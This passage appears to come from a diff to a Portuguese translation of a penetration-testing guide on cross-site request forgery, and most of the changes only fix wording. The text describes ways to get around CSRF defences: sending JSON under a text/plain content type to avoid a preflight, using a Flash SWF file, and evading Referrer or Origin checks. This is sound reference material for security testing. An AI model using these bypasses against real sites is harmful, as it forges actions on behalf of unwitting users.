2. **Modificar o Tipo de Conteúdo**: Para evitar uma solicitação de preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com `Content-Type: text/plain; application/json`. Isso não aciona uma solicitação de preflight, mas pode ser processado corretamente pelo servidor se estiver configurado para aceitar `application/json`.
-3. **Utilização de Arquivo Flash SWF**: Um método menos comum, mas viável, envolve o uso de um arquivo flash SWF para contornar tais restrições. Para uma compreensão mais aprofundada dessa técnica, consulte [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
+3. **Utilização de Arquivo Flash SWF**: Um método menos comum, mas viável, envolve o uso de um arquivo flash SWF para contornar tais restrições. Para uma compreensão mais aprofundada desta técnica, consulte [este post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
-### Bypass de Verificação de Referrer / Origin
+### Bypass de Verificação de Referrer / Origem
**Evitar o cabeçalho Referrer**
@@ -264,7 +264,7 @@ document.forms[0].submit(); //Way 3 to autosubmit